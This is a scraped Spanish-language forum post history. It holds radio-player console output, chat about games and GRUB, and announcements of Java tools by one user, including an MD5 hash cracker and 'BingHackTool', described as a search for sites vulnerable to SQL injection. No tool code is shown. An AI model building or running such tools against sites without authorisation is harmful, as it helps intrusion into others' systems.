[+] ID : 7
[+] Name : Ibiza Global Radio
[+] Type : Electronic

[+] ID : 8
[+] Name : HBR1.com - I.D.M. Tranceponder
[+] Type : Trance

[+] ID : 9
[+] Name : COOL radio - Beograd
[+] Type : Folk

[+] ID : 10
[+] Name : COOL radio - Beograd
[+] Type : Folk

[+] ID : 11
[+] Name : HPR4
[+] Type : Inspirational

[+] ID : 12
[+] Name : Radio Carsija - Melli
[+] Type : International

[+] ID : 13
[+] Name : TheJazzGroove.com
[+] Type : Jazz

[+] ID : 14
[+] Name : Paisa Estereo
[+] Type : Latin

[+] ID : 15
[+] Name : RockRadio1.Com
[+] Type : Metal

[+] ID : 16
[+] Name : Adom 106.3FM
[+] Type : Misc

[+] ID : 17
[+] Name : Healing
[+] Type : New Age

[+] ID : 18
[+] Name : RADIO SOUND POP
[+] Type : Pop

[+] ID : 19
[+] Name : Latido 90.1 FM
[+] Type : Public Radio

[+] ID : 20
[+] Name : Radio Mandela
[+] Type : Funk

[+] ID : 21
[+] Name : Boneyaad Radio
[+] Type : Rap

[+] ID : 22
[+] Name : Reggae141.com
[+] Type : Reggae

[+] ID : 23
[+] Name : Classic Rock 915
[+] Type : Rock

[+] ID : 24
[+] Name : 181.fm - Rock 181 (Active Rock)
[+] Type : Rock

[+] ID : 25
[+] Name : 181.FM - The Buzz
[+] Type : Rock

[+] ID : 26
[+] Name : 181.FM - Good Time Oldies
[+] Type : Rock

[+] ID : 27
[+] Name : Top40
[+] Type : Pop Dance R&B Rock

[+] ID : 28
[+] Name : MUSIK.ORIENTAL
[+] Type : Seasonal and Holiday

[+] ID : 29
[+] Name : NOVA 100.3
[+] Type : Soundtracks

[+] ID : 30
[+] Name : Alex Jones - Infowars.com
[+] Type : Talk

[+] ID : 31
[+] Name : illusive Radio Punta
[+] Type : Themes

[+] Write exit to go out

[+] Option : 3

[!] Listening : http://174.36.206.197:8000 ...

MPlayer 1.0rc2-4.2.1 (C) 2000-2007 MPlayer Team
CPU: AMD Sempron(tm) 140 Processor (Family: 16, Model: 6, Stepping: 2)
CPUflags:  MMX: 1 MMX2: 1 3DNow: 1 3DNow2: 1 SSE: 1 SSE2: 1
Compiled with runtime CPU detection.

Playing http://174.36.206.197:8000.
Connecting to server 174.36.206.197[174.36.206.197]: 8000...
Name   : Venice Classic Radio Italia
Genre  : Classical
Website: http://www.veniceclassicradio.eu/
Public : yes
Bitrate: 128kbit/s
Cache size set to 320 KBytes
Cache fill:  0.00% (0 bytes)   No bind found for key ''.

Cache fill:  7.50% (24576 bytes)
ICY Info: StreamTitle='Frederic Chopin (1810-1849) - 'Allegro de concert' per pi
anoforte in la Maggiore Op.46 (11:37)  {+info: veniceclassicradio.eu}';StreamUrl
='';
Cache fill: 17.50% (57344 bytes)
Audio file file format detected.
==========================================================================
Opening audio decoder: [mp3lib] MPEG layer-2, layer-3
mpg123: Can't rewind stream by 154 bits!
AUDIO: 44100 Hz, 2 ch, s16le, 128.0 kbit/9.07% (ratio: 16000->176400)
Selected audio codec: [mp3] afm: mp3lib (mp3lib MPEG layer-2, layer-3)
==========================================================================
AO: [dsound] 44100Hz 2ch s16le (2 bytes per sample)
Video: no video
Starting playback...

ICY Info: StreamTitle='Mauro Giuliani (1781-1829) - Variazioni su 'Deh! Calma, o
h ciel!' per chitarra e quartetto (08:00)  {+info: veniceclassicradio.eu}';Strea
mUrl='';

ICY Info: StreamTitle='Johann Sebastian Bach (1685-1750) - 'Il clavicembalo ben
temperato' - Libro I - Praeludium et Fuga in si bemolle Maggiore BWV866 (02:42)
{+info: veniceclassicradio.eu}';StreamUrl='';

ICY Info: StreamTitle='Antonio Palella (1692-1761) - Concerto a 4  in sol Maggio
re (12:42)  {+info: veniceclassicradio.eu}';StreamUrl='';

ICY Info: StreamTitle='Anton Reicha (1770-1836) - Sonata per fagotto e pianofort
e (16:19)  {+info: veniceclassicradio.eu}';StreamUrl='';

ICY Info: StreamTitle='Gioachino Rossini (1792-1868) - Sonata per archi in mi be
molle Maggiore No.5 (14:51)  {+info: veniceclassicradio.eu}';StreamUrl='';

ICY Info: StreamTitle='Fernand De La Tombelle (1854-1928) - Andante espressivo p
er violoncello e pianoforte (04:39)  {+info: veniceclassicradio.eu}';StreamUrl='
';

ICY Info: StreamTitle='Franz Schubert (1797-1828) - Sinfonia in re Maggiore No.3
D200 (23:09)  {+info: veniceclassicradio.eu}';StreamUrl='';



Eso es todo.
#194
GNU/Linux / Re:Cambiar la imagen del GRUB
Marzo 23, 2014, 02:44:13 PM
@CrazyKade : ajajaa , tenemos las mismas particiones xD.

buen aporte antrax.
#195
Java / Re:[Java] MD5 Cracker 1.0
Marzo 21, 2014, 06:10:52 PM
usa una pagina online para buscar el hash.
#196
Java / [Java] MD5 Cracker 1.0
Marzo 21, 2014, 06:03:51 PM
Un simple programa en Java para crackear un hash MD5.

Una imagen :



Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#197
Java / Re:[Java] BingHackTool 1.0
Marzo 15, 2014, 04:21:36 PM
todavia si se puede en google , las regexs para capturar los links son faciles de hacer en perl.
#198
Off Topic / Re:Gamers ?
Marzo 15, 2014, 03:55:18 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Yo soy del polistation U_U hasta hace un par de semanas atras que mi sepsi prometida me regalo mi deseado PS 2 :$ SI es un ps2 :DDDD

God Of War

Asi que no joder, por la consola :P debido que aqui un ps3 ps4 xbox ya es demasiado carito :P

Regards,
Snifer

yo tambien queria una play2 pero me di cuenta que en vez de gastar en un consola vieja podia emularlo con mi pc que es decente para la mayoria de los juegos.

los juegos que emule con la play2 son gta vice city stories y gta liberty city stories que eran solo para play2.

los juegos de pc que juego o ya gane son :

Assassin Creed 1 y 2
Prototype 1 y 2
Half life 1 y 2
GTA 3
GTA San Andreas
GTA IV + la expansion
Singularity
Batman  Arkham Asylum
Batman Arkham City
Batman Arkham Origins
Mafia 1 y 2
Spec Ops The Line
BioShock 1 y 2
Dishonored
Dead space 1 , 2 y 3
Crysis
Call of Duty 1 y 2
Call of Duty Modern Warfare 1 , 2 y 3
Call of Duty: World at War
El nuevo de medal of honor (2010)
Battlefield: Bad Company (al principio me parecia malisimo pero como no tenia otra lo tuve que ganar xD)
Age of empires 2 y 3
Age of mythology + titans
Hotline Miami (el juego mas violento jamas conocido)
Resident evil 4 y 5

Y online solo juego : Need for speed most wanted , SAMP (san andreas multiplayer) , Half Life 1 , Left 4 Dead y CS 1.6
#199
Java / [Java] BingHackTool 1.0
Marzo 14, 2014, 12:17:39 PM
Un simple programa en Java para buscar paginas vulnerables a SQLI usando Bing.

Una imagen :



Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#200
Java / [Java] LocateIP 1.0
Marzo 07, 2014, 02:54:42 PM
Un simple programa en java para localizar una pagina.

Una imagen :



Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.